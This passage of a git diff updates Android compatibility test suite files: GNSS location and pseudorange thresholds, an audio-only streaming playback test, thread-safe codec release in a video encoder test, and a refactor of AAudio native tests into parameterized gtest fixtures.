// It's okay to not be able to load a library because it's for another
// architecture (typically on an x86 device, when we come across an arm library).
- return err.find("dlopen failed: library \"" + library + "\" has unexpected e_machine: ") == 0;
+ return err.find("dlopen failed: \"" + library + "\" has unexpected e_machine: ") == 0;
}
static bool check_lib(const std::string& path,
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 5fa09c2..fe4b1dd 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -37,6 +37,7 @@
private TestLocationListener mLocationListener;
private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
private boolean extendedLocationAccuracyExpected = false;
+ private static final double SPEED_EPSILON = 0.001;
@Override
protected void setUp() throws Exception {
@@ -67,7 +68,7 @@
mTestLocationManager.requestLocationUpdates(mLocationListener);
boolean success = mLocationListener.await();
SoftAssert.failOrWarning(isMeasurementTestStrict(),
- "Time elapsed without getting the GPS locations."
+ "Time elapsed without getting the GNSS locations."
+ " Possibly, the test has been run deep indoors."
+ " Consider retrying test outdoors.",
success);
@@ -89,24 +90,28 @@
location.getAccuracy() > 0);
}
- if(!extendedLocationAccuracyExpected) {
+ if (!extendedLocationAccuracyExpected) {
return;
}
Log.i(TAG, "This is a device from 2017 or later.");
- softAssert.assertTrue("All GPS locations generated by the LocationManager "
- + "must have a bearing accuracy.", location.hasBearingAccuracy());
- if (location.hasBearingAccuracy()) {
- softAssert.assertTrue("Bearing Accuracy should be greater than 0.",
- location.getBearingAccuracyDegrees() > 0);
+ // When speed = 0, the Qualcomm HAL is not filling bearing accuracy.
+ if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
+ softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+ + "the LocationManager must have bearing accuracies.", location.hasBearingAccuracy());
+ if (location.hasBearingAccuracy()) {
+ softAssert.assertTrue("Bearing Accuracy should be greater than 0.",
+ location.getBearingAccuracyDegrees() > 0);
+ }
}
- softAssert.assertTrue("All GPS locations generated by the LocationManager "
+
+ softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+ "must have a speed accuracy.", location.hasSpeedAccuracy());
if (location.hasSpeedAccuracy()) {
softAssert.assertTrue("Speed Accuracy should be greater than 0.",
location.getSpeedAccuracyMetersPerSecond() > 0);
}
- softAssert.assertTrue("All GPS locations generated by the LocationManager "
+ softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+ "must have a vertical accuracy.", location.hasVerticalAccuracy());
if (location.hasVerticalAccuracy()) {
softAssert.assertTrue("Vertical Accuracy should be greater than 0.",
@@ -122,7 +127,7 @@
mTestLocationManager.requestLocationUpdates(mLocationListener);
boolean success = mLocationListener.await();
SoftAssert.failOrWarning(isMeasurementTestStrict(),
- "Time elapsed without getting the GPS locations."
+ "Time elapsed without getting the GNSS locations."
+ " Possibly, the test has been run deep indoors."
+ " Consider retrying test outdoors.",
success);
@@ -139,6 +144,9 @@
// For the altitude: the unit is meter
// The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
// Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
+
+ softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+ + "must have altitudes.", location.hasAltitude());
if(location.hasAltitude()) {
softAssert.assertTrue("Altitude should be greater than -500 (meters).",
location.getAltitude() >= -500);
@@ -148,9 +156,14 @@
// It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
// The API will return 0.0 if there is no bearing
- if(location.hasBearing()) {
- softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
- location.getBearing() >= 0 && location.getBearing() <= 360);
+ // When speed = 0, the Qualcomm HAL is not filling the bearing.
+ if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
+ softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+ + "the LocationManager must have bearings.", location.hasBearing());
+ if(location.hasBearing()) {
+ softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
+ location.getBearing() >= 0 && location.getBearing() <= 360);
+ }
}
softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
@@ -165,11 +178,15 @@
softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
location.getLatitude() >= -90 && location.getLatitude() <= 90);
+ softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+ + "must have speeds.", location.hasSpeed());
+
// For the speed, during the cts test device shouldn't move faster than 1m/s
if(location.hasSpeed()) {
softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 1] m/s",
location.getSpeed() >= 0 && location.getSpeed() <= 1);
}
+
}
}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index 491b69f..a590681 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -25,6 +25,7 @@
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
+import java.util.concurrent.TimeUnit;
/**
* Test computing and verifying the pseudoranges based on the raw measurements
@@ -32,12 +33,27 @@
*/
public class GnssPseudorangeVerificationTest extends GnssTestCase {
private static final String TAG = "GnssPseudorangeValTest";
- private static final int LOCATION_TO_COLLECT_COUNT = 20;
- private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 50;
+ private static final int LOCATION_TO_COLLECT_COUNT = 5;
+ private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
private static final int MIN_SATELLITES_REQUIREMENT = 4;
private static final double SECONDS_PER_NANO = 1.0e-9;
- private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.018;
- private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.073;
+ // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in time
+ // is 65-83 ms, which is 18 ms range.
+ // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
+ // should be in the range of [0.0, 0.021] seconds.
+ // QZSS and BEIDOU: they have higher orbit, which will result in a small svTime, the deltai can be
+ // calculated as follows:
+ // assume a = QZSS/BEIDOU orbit Semi-Major Axis(42,164km for QZSS);
+ // b = GLONASS orbit Semi-Major Axis (25,508km);
+ // c = Speed of light (299,792km/s);
+ // e = earth radius (6,378km);
+ // in the extremely case of QZSS is on the horizon and GLONASS is on the 90 degree top
+ // max difference should be (sqrt(a^2-e^2) - (b-e))/c,
+ // which is around 0.076s.
+ private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.021;
+ // Geosync constellations have a longer range vs typical MEO orbits
+ // that are the short end of the range.
+ private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
private TestGnssMeasurementListener mMeasurementListener;
private TestLocationListener mLocationListener;
@@ -127,7 +143,7 @@
SoftAssert.failOrWarning(isMeasurementTestStrict(),
"Should have at least one GnssMeasurementEvent with at least 4"
- + "GnssMeasurement. If failed, retry near window or outdoors?",
+ + "GnssMeasurement. If failed, retry near window or outdoors?",
hasEventWithEnoughMeasurements);
softAssert.assertAll();
@@ -157,10 +173,14 @@
*/
private void validatePseudorange(Collection<GnssMeasurement> measurements,
SoftAssert softAssert, long timeInNs) {
- long largestReceivedSvTimeNanos = 0;
+ long largestReceivedSvTimeNanosTod = 0;
+ // closest satellite has largest time (closest to now), as of nano secs of the day
+ // so the largestReceivedSvTimeNanosTod will be the svTime we got from one of the GPS/GLONASS sv
for(GnssMeasurement measurement : measurements) {
- if (largestReceivedSvTimeNanos < measurement.getReceivedSvTimeNanos()) {
- largestReceivedSvTimeNanos = measurement.getReceivedSvTimeNanos();
+ long receivedSvTimeNanosTod = measurement.getReceivedSvTimeNanos()
+ % TimeUnit.DAYS.toNanos(1);
+ if (largestReceivedSvTimeNanosTod < receivedSvTimeNanosTod) {
+ largestReceivedSvTimeNanosTod = receivedSvTimeNanosTod;
}
}
for (GnssMeasurement measurement : measurements) {
@@ -171,12 +191,10 @@
|| constellationType == GnssStatus.CONSTELLATION_QZSS) {
threshold = PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC;
}
- double deltaiNanos = largestReceivedSvTimeNanos
- - measurement.getReceivedSvTimeNanos();
+ double deltaiNanos = largestReceivedSvTimeNanosTod
+ - (measurement.getReceivedSvTimeNanos() % TimeUnit.DAYS.toNanos(1));
double deltaiSeconds = deltaiNanos * SECONDS_PER_NANO;
- // according to http://cdn.intechopen.com/pdfs-wm/27712.pdf
- // the pseudorange in time is 65-83 ms, which is 18 ms range,
- // deltaiSeconds should be in the range of [0.0, 0.018] seconds
+
softAssert.assertTrue("deltaiSeconds in Seconds.",
timeInNs,
"0.0 <= deltaiSeconds <= " + String.valueOf(threshold),
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index 82b992d..d2b7f23 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -194,6 +194,10 @@
playVideoWithRetries(path, null, null, playTime);
}
+ protected void playLiveAudioOnlyTest(String path, int playTime) throws Exception {
+ playVideoWithRetries(path, -1, -1, playTime);
+ }
+
protected void playVideoTest(String path, int width, int height) throws Exception {
playVideoWithRetries(path, width, height, 0);
}
@@ -265,6 +269,9 @@
final float leftVolume = 0.5f;
final float rightVolume = 0.5f;
+ boolean audioOnly = (width != null && width.intValue() == -1) ||
+ (height != null && height.intValue() == -1);
+
mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
mMediaPlayer.setScreenOnWhilePlaying(true);
mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
@@ -308,8 +315,10 @@
}
mMediaPlayer.start();
- mOnVideoSizeChangedCalled.waitForSignal();
- mOnVideoRenderingStartCalled.waitForSignal();
+ if (!audioOnly) {
+ mOnVideoSizeChangedCalled.waitForSignal();
+ mOnVideoRenderingStartCalled.waitForSignal();
+ }
mMediaPlayer.setVolume(leftVolume, rightVolume);
// waiting to complete
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 6b2a0b5..ab54e75 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -229,7 +229,7 @@
String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
// Play stream for 60 seconds
- playLiveVideoTest(
+ playLiveAudioOnlyTest(
testUrl,
60 * 1000);
}
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index acf7dac..8dbdefb 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -193,6 +193,7 @@
protected boolean mEncoderIsActive;
protected boolean mEncodeOutputFormatUpdated;
protected final Object mCondition = new Object();
+ protected final Object mCodecLock = new Object();
protected MediaFormat mDecFormat;
protected MediaCodec mDecoder, mEncoder;
@@ -300,13 +301,15 @@
}
protected void close() {
- if (mDecoder != null) {
- mDecoder.release();
- mDecoder = null;
- }
- if (mEncoder != null) {
- mEncoder.release();
- mEncoder = null;
+ synchronized (mCodecLock) {
+ if (mDecoder != null) {
+ mDecoder.release();
+ mDecoder = null;
+ }
+ if (mEncoder != null) {
+ mEncoder.release();
+ mEncoder = null;
+ }
}
if (mExtractor != null) {
mExtractor.release();
@@ -406,10 +409,33 @@
mBitRate = bitRate;
}
+ @Override
+ public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+ synchronized (mCodecLock) {
+ if (mEncoder != null && mDecoder != null) {
+ onInputBufferAvailableLocked(mediaCodec, ix);
+ }
+ }
+ }
+
+ @Override
+ public void onOutputBufferAvailable(
+ MediaCodec mediaCodec, int ix, BufferInfo info) {
+ synchronized (mCodecLock) {
+ if (mEncoder != null && mDecoder != null) {
+ onOutputBufferAvailableLocked(mediaCodec, ix, info);
+ }
+ }
+ }
+
public abstract boolean processLoop(
String path, String outMime, String videoEncName,
int width, int height, boolean optional);
- };
+ protected abstract void onInputBufferAvailableLocked(
+ MediaCodec mediaCodec, int ix);
+ protected abstract void onOutputBufferAvailableLocked(
+ MediaCodec mediaCodec, int ix, BufferInfo info);
+ }
class VideoProcessor extends VideoProcessorBase {
private static final String TAG = "VideoProcessor";
@@ -499,7 +525,7 @@
}
@Override
- public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+ public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
if (mediaCodec == mDecoder) {
// fill input buffer from extractor
fillDecoderInputBuffer(ix);
@@ -517,7 +543,7 @@
}
@Override
- public void onOutputBufferAvailable(
+ public void onOutputBufferAvailableLocked(
MediaCodec mediaCodec, int ix, BufferInfo info) {
if (mediaCodec == mDecoder) {
if (DEBUG) Log.v(TAG, "decoder received output #" + ix
@@ -747,7 +773,7 @@
}
@Override
- public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+ public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
if (mediaCodec == mDecoder) {
// fill input buffer from extractor
fillDecoderInputBuffer(ix);
@@ -757,7 +783,7 @@
}
@Override
- public void onOutputBufferAvailable(
+ public void onOutputBufferAvailableLocked(
MediaCodec mediaCodec, int ix, BufferInfo info) {
if (mediaCodec == mDecoder) {
if (DEBUG) Log.v(TAG, "decoder received output #" + ix
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
index ab2cc55..15c3bb1 100644
--- a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
@@ -17,6 +17,8 @@
#define LOG_NDEBUG 0
#define LOG_TAG "AAudioTest"
+#include <memory>
+
#include <aaudio/AAudio.h>
#include <android/log.h>
#include <gtest/gtest.h>
@@ -24,111 +26,182 @@
#include "test_aaudio.h"
#include "utils.h"
-// Test Writing to an AAudioStream
-static void runtest_aaudio_stream(aaudio_sharing_mode_t requestedSharingMode) {
- StreamBuilderHelper helper{requestedSharingMode};
+static std::string getTestName(const ::testing::TestParamInfo<aaudio_sharing_mode_t>& info) {
+ return sharingModeToString(info.param);
+}
- int writeLoops = 0;
+template<typename T>
+class AAudioStreamTest : public ::testing::TestWithParam<aaudio_sharing_mode_t> {
+ protected:
+ AAudioStreamBuilder* builder() const { return mHelper->builder(); }
+ AAudioStream* stream() const { return mHelper->stream(); }
+ const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
+ int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
- int32_t framesWritten = 0;
- int64_t framesTotal = 0;
- int64_t aaudioFramesRead = 0;
- int64_t aaudioFramesRead1 = 0;
- int64_t aaudioFramesRead2 = 0;
- int64_t aaudioFramesWritten = 0;
+ std::unique_ptr<T> mHelper;
+ bool mSetupSuccesful = false;
+ std::unique_ptr<int16_t[]> mData;
+};
- int64_t timeoutNanos;
- aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
+class AAudioInputStreamTest : public AAudioStreamTest<InputStreamBuilderHelper> {
+ protected:
+ void SetUp() override;
- helper.initBuilder();
+ int32_t mFramesPerRead;
+};
- bool success = false;
- helper.createAndVerifyStream(&success);
- if (!success) return;
+void AAudioInputStreamTest::SetUp() {
+ mHelper.reset(new InputStreamBuilderHelper(GetParam()));
+ mHelper->initBuilder();
+ mSetupSuccesful = false;
+ mHelper->createAndVerifyStream(&mSetupSuccesful);
+ if (!mSetupSuccesful) return;
+
+ mFramesPerRead = framesPerBurst();
+ const int32_t framesPerMsec = actual().sampleRate / MILLIS_PER_SECOND;
+ // Some DMA might use very short bursts of 16 frames. We don't need to read such small
+ // buffers. But it helps to use a multiple of the burst size for predictable scheduling.
+ while (mFramesPerRead < framesPerMsec) {
+ mFramesPerRead *= 2;
+ }
+ mData.reset(new int16_t[mFramesPerRead * actual().samplesPerFrame]);
+}
+
+TEST_P(AAudioInputStreamTest, testReading) {
+ if (!mSetupSuccesful) return;
+
+ const int32_t framesToRecord = actual().sampleRate; // 1 second
+ const int64_t timeoutNanos = 100 * NANOS_PER_MILLISECOND;
+ EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
+ EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
+ mHelper->startStream();
+ for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
+ aaudio_result_t result = AAudioStream_read(
+ stream(), &mData[0], std::min(framesToRecord, mFramesPerRead), timeoutNanos);
+ ASSERT_GT(result, 0);
+ framesLeft -= result;
+ }
+ mHelper->stopStream();
+ EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
+ EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
+}
+
+INSTANTIATE_TEST_CASE_P(SM, AAudioInputStreamTest,
+ ::testing::Values(AAUDIO_SHARING_MODE_SHARED, AAUDIO_SHARING_MODE_EXCLUSIVE),
+ &getTestName);
+
+
+class AAudioOutputStreamTest : public AAudioStreamTest<OutputStreamBuilderHelper> {
+ protected:
+ void SetUp() override;
+};
+
+void AAudioOutputStreamTest::SetUp() {
+ mHelper.reset(new OutputStreamBuilderHelper(GetParam()));
+ mHelper->initBuilder();
+
+ mSetupSuccesful = false;
+ mHelper->createAndVerifyStream(&mSetupSuccesful);
+ if (!mSetupSuccesful) return;
+
+ // Allocate a buffer for the audio data.
+ // TODO handle possibility of other data formats
+ size_t dataSizeSamples = framesPerBurst() * actual().samplesPerFrame;
+ mData.reset(new int16_t[dataSizeSamples]);
+ memset(&mData[0], 0, dataSizeSamples);
+}
+
+TEST_P(AAudioOutputStreamTest, testWriting) {
+ if (!mSetupSuccesful) return;
// TODO test this on full build
// ASSERT_NE(AAUDIO_DEVICE_UNSPECIFIED, AAudioStream_getDeviceId(aaudioStream));
- // Allocate a buffer for the audio data.
- // TODO handle possibility of other data formats
- ASSERT_TRUE(helper.actual().dataFormat == AAUDIO_FORMAT_PCM_I16);
- size_t dataSizeSamples = helper.framesPerBurst() * helper.actual().samplesPerFrame;
- int16_t *data = (int16_t *) calloc(dataSizeSamples, sizeof(int16_t));
- ASSERT_TRUE(nullptr != data);
-
// Prime the buffer.
- timeoutNanos = 0;
+ int32_t framesWritten = 0;
+ int64_t framesTotal = 0;
+ int64_t timeoutNanos = 0;
do {
framesWritten = AAudioStream_write(
- helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
+ stream(), &mData[0], framesPerBurst(), timeoutNanos);
// There should be some room for priming the buffer.
framesTotal += framesWritten;
ASSERT_GE(framesWritten, 0);
- ASSERT_LE(framesWritten, helper.framesPerBurst());
+ ASSERT_LE(framesWritten, framesPerBurst());
} while (framesWritten > 0);
ASSERT_TRUE(framesTotal > 0);
+ int writeLoops = 0;
+ int64_t aaudioFramesRead = 0;
+ int64_t aaudioFramesReadPrev = 0;
+ int64_t aaudioFramesReadFinal = 0;
+ int64_t aaudioFramesWritten = 0;
// Start/write/pause more than once to see if it fails after the first time.
// Write some data and measure the rate to see if the timing is OK.
for (int numLoops = 0; numLoops < 2; numLoops++) {
- helper.startStream();
+ mHelper->startStream();
// Write some data while we are running. Read counter should be advancing.
- writeLoops = 1 * helper.actual().sampleRate / helper.framesPerBurst(); // 1 second
+ writeLoops = 1 * actual().sampleRate / framesPerBurst(); // 1 second
ASSERT_LT(2, writeLoops); // detect absurdly high framesPerBurst
- timeoutNanos = 100 * (NANOS_PER_SECOND * helper.framesPerBurst() /
- helper.actual().sampleRate); // N bursts
+ timeoutNanos = 100 * (NANOS_PER_SECOND * framesPerBurst() /
+ actual().sampleRate); // N bursts
framesWritten = 1;
- aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
- aaudioFramesRead1 = aaudioFramesRead;
+ aaudioFramesRead = AAudioStream_getFramesRead(stream());
+ aaudioFramesReadPrev = aaudioFramesRead;
int64_t beginTime = getNanoseconds(CLOCK_MONOTONIC);
do {
framesWritten = AAudioStream_write(
- helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
- ASSERT_EQ(framesWritten, helper.framesPerBurst());
+ stream(), &mData[0], framesPerBurst(), timeoutNanos);
+ ASSERT_EQ(framesWritten, framesPerBurst());
framesTotal += framesWritten;
- aaudioFramesWritten = AAudioStream_getFramesWritten(helper.stream());
+ aaudioFramesWritten = AAudioStream_getFramesWritten(stream());
EXPECT_EQ(framesTotal, aaudioFramesWritten);
// Try to get a more accurate measure of the sample rate.
if (beginTime == 0) {
- aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
- if (aaudioFramesRead > aaudioFramesRead1) { // is read pointer advancing
+ aaudioFramesRead = AAudioStream_getFramesRead(stream());
+ if (aaudioFramesRead > aaudioFramesReadPrev) { // is read pointer advancing
beginTime = getNanoseconds(CLOCK_MONOTONIC);
- aaudioFramesRead1 = aaudioFramesRead;
+ aaudioFramesReadPrev = aaudioFramesRead;
}
}
} while (framesWritten > 0 && writeLoops-- > 0);
- aaudioFramesRead2 = AAudioStream_getFramesRead(helper.stream());
- int64_t endTime = getNanoseconds(CLOCK_MONOTONIC);
- ASSERT_GT(aaudioFramesRead2, 0);
- EXPECT_GT(aaudioFramesRead2, aaudioFramesRead1);
+ aaudioFramesReadFinal = AAudioStream_getFramesRead(stream());
+ ASSERT_GT(aaudioFramesReadFinal, 0);
+ EXPECT_GT(aaudioFramesReadFinal, aaudioFramesReadPrev);
// TODO why is AudioTrack path so inaccurate?
+ /* See b/38268547, there is no way to specify that MMAP mode needs to be used,
+ even EXCLUSIVE mode may fall back to legacy
+ const int64_t endTime = getNanoseconds(CLOCK_MONOTONIC);
const double rateTolerance = 200.0; // arbitrary tolerance for sample rate
- if (requestedSharingMode != AAUDIO_SHARING_MODE_SHARED) {
+ if (GetParam() != AAUDIO_SHARING_MODE_SHARED) {
// Calculate approximate sample rate and compare with stream rate.
double seconds = (endTime - beginTime) / (double) NANOS_PER_SECOND;
- double measuredRate = (aaudioFramesRead2 - aaudioFramesRead1) / seconds;
- ASSERT_NEAR(helper.actual().sampleRate, measuredRate, rateTolerance);
+ double measuredRate = (aaudioFramesReadFinal - aaudioFramesReadPrev) / seconds;
+ ASSERT_NEAR(actual().sampleRate, measuredRate, rateTolerance);
}
+ */
- helper.pauseStream();
+ mHelper->pauseStream();
}
// Make sure the read counter is not advancing when we are paused.
- aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
- ASSERT_GE(aaudioFramesRead, aaudioFramesRead2); // monotonic increase
+ aaudioFramesRead = AAudioStream_getFramesRead(stream());
+ ASSERT_GE(aaudioFramesRead, aaudioFramesReadFinal); // monotonic increase
// Use this to sleep by waiting for a state that won't happen.
+ aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
timeoutNanos = 100 * NANOS_PER_MILLISECOND;
- AAudioStream_waitForStateChange(helper.stream(), AAUDIO_STREAM_STATE_OPEN, &state, timeoutNanos);
- aaudioFramesRead2 = AAudioStream_getFramesRead(helper.stream());
- EXPECT_EQ(aaudioFramesRead, aaudioFramesRead2);
+ AAudioStream_waitForStateChange(
+ stream(), AAUDIO_STREAM_STATE_OPEN, &state, timeoutNanos);
+ aaudioFramesReadFinal = AAudioStream_getFramesRead(stream());
+ EXPECT_EQ(aaudioFramesRead, aaudioFramesReadFinal);
// ------------------- TEST FLUSH -----------------
// Prime the buffer.
@@ -136,40 +209,34 @@
writeLoops = 1000;
do {
framesWritten = AAudioStream_write(
- helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
+ stream(), &mData[0], framesPerBurst(), timeoutNanos);
framesTotal += framesWritten;
} while (framesWritten > 0 && writeLoops-- > 0);
EXPECT_EQ(0, framesWritten);
- helper.flushStream();
+ mHelper->flushStream();
// After a flush, the read counter should be caught up with the write counter.
- aaudioFramesWritten = AAudioStream_getFramesWritten(helper.stream());
+ aaudioFramesWritten = AAudioStream_getFramesWritten(stream());
EXPECT_EQ(framesTotal, aaudioFramesWritten);
- aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
+ aaudioFramesRead = AAudioStream_getFramesRead(stream());
EXPECT_EQ(aaudioFramesRead, aaudioFramesWritten);
sleep(1); // FIXME - The write returns 0 if we remove this sleep! Why?
// The buffer should be empty after a flush so we should be able to write.
- framesWritten = AAudioStream_write(
- helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
+ framesWritten = AAudioStream_write(stream(), &mData[0], framesPerBurst(), timeoutNanos);
// There should be some room for priming the buffer.
ASSERT_GT(framesWritten, 0);
- ASSERT_LE(framesWritten, helper.framesPerBurst());
-
- free(data);
+ ASSERT_LE(framesWritten, framesPerBurst());
}
-// Test Writing to an AAudioStream using SHARED mode.
-TEST(test_aaudio, aaudio_stream_shared) {
- runtest_aaudio_stream(AAUDIO_SHARING_MODE_SHARED);
-}
+// Note that the test for EXCLUSIVE sharing mode may fail gracefully if
+// this mode isn't supported by the platform.
+INSTANTIATE_TEST_CASE_P(SM, AAudioOutputStreamTest,
+ ::testing::Values(AAUDIO_SHARING_MODE_SHARED, AAUDIO_SHARING_MODE_EXCLUSIVE),
+ &getTestName);
-// Test Writing to an AAudioStream using EXCLUSIVE sharing mode. It may fail gracefully.
-TEST(test_aaudio, aaudio_stream_exclusive) {
- runtest_aaudio_stream(AAUDIO_SHARING_MODE_EXCLUSIVE);
-}
int main(int argc, char **argv) {
testing::InitGoogleTest(&argc, argv);
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
index dac6684..b7ad7e7 100644
--- a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
@@ -18,6 +18,7 @@
#define LOG_TAG "AAudioTest"
#include <atomic>
+#include <tuple>
#include <aaudio/AAudio.h>
#include <android/log.h>
@@ -26,15 +27,6 @@
#include "test_aaudio.h"
#include "utils.h"
-typedef struct AAudioCallbackTestData {
- int32_t expectedFramesPerCallback;
- int32_t actualFramesPerCallback;
- int32_t minLatency;
- int32_t maxLatency;
- std::atomic<aaudio_result_t> callbackError;
- std::atomic<int32_t> callbackCount;
-} AAudioCallbackTestData;
-
static int32_t measureLatency(AAudioStream *stream) {
int64_t presentationTime = 0;
int64_t presentationPosition = 0;
@@ -59,32 +51,158 @@
return latencyMillis;
}
-static void MyErrorCallbackProc(
- AAudioStream *stream,
- void *userData,
- aaudio_result_t error) {
- (void) stream;
- AAudioCallbackTestData *myData = (AAudioCallbackTestData *) userData;
- myData->callbackError = error;
+using CbTestParams = std::tuple<aaudio_sharing_mode_t, int32_t>;
+static std::string getTestName(const ::testing::TestParamInfo<CbTestParams>& info) {
+ return std::string{sharingModeToString(std::get<0>(info.param))} +
+ "_" + std::to_string(std::get<1>(info.param));
}
-// Callback function that fills the audio output buffer.
-static aaudio_data_callback_result_t MyDataCallbackProc(
- AAudioStream *stream,
- void *userData,
- void *audioData,
- int32_t numFrames
-) {
- AAudioCallbackTestData *myData = (AAudioCallbackTestData *) userData;
+template<typename T>
+class AAudioStreamCallbackTest : public ::testing::TestWithParam<CbTestParams> {
+ protected:
+ struct AAudioCallbackTestData {
+ int32_t expectedFramesPerCallback;
+ int32_t actualFramesPerCallback;
+ int32_t minLatency;
+ int32_t maxLatency;
+ std::atomic<aaudio_result_t> callbackError;
+ std::atomic<int32_t> callbackCount;
- if (numFrames != myData->expectedFramesPerCallback) {
- // record unexpected framecounts
- myData->actualFramesPerCallback = numFrames;
- } else if (myData->actualFramesPerCallback == 0) {
- // record at least one frame count
- myData->actualFramesPerCallback = numFrames;
+ AAudioCallbackTestData() {
+ reset(0);
+ }
+ void reset(int32_t expectedFramesPerCb) {
+ expectedFramesPerCallback = expectedFramesPerCb;
+ actualFramesPerCallback = 0;
+ minLatency = INT32_MAX;
+ maxLatency = 0;
+ callbackError = AAUDIO_OK;
+ callbackCount = 0;
+ }
+ void updateFrameCount(int32_t numFrames) {
+ if (numFrames != expectedFramesPerCallback) {
+ // record unexpected framecounts
+ actualFramesPerCallback = numFrames;
+ } else if (actualFramesPerCallback == 0) {
+ // record at least one frame count
+ actualFramesPerCallback = numFrames;
+ }
+ }
+ void updateLatency(int32_t latency) {
+ if (latency <= 0) return;
+ minLatency = std::min(minLatency, latency);
+ maxLatency = std::max(maxLatency, latency);
+ }
+ };
+
+ static void MyErrorCallbackProc(AAudioStream *stream, void *userData, aaudio_result_t error);
+
+ AAudioStreamBuilder* builder() const { return mHelper->builder(); }
+ AAudioStream* stream() const { return mHelper->stream(); }
+ const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
+
+ std::unique_ptr<T> mHelper;
+ bool mSetupSuccesful = false;
+ std::unique_ptr<AAudioCallbackTestData> mCbData;
+};
+
+template<typename T>
+void AAudioStreamCallbackTest<T>::MyErrorCallbackProc(
+ AAudioStream* /*stream*/, void *userData, aaudio_result_t error) {
+ AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+ myData->callbackError = error;
+}
+
+
+class AAudioInputStreamCallbackTest : public AAudioStreamCallbackTest<InputStreamBuilderHelper> {
+ protected:
+ void SetUp() override;
+
+ static aaudio_data_callback_result_t MyDataCallbackProc(
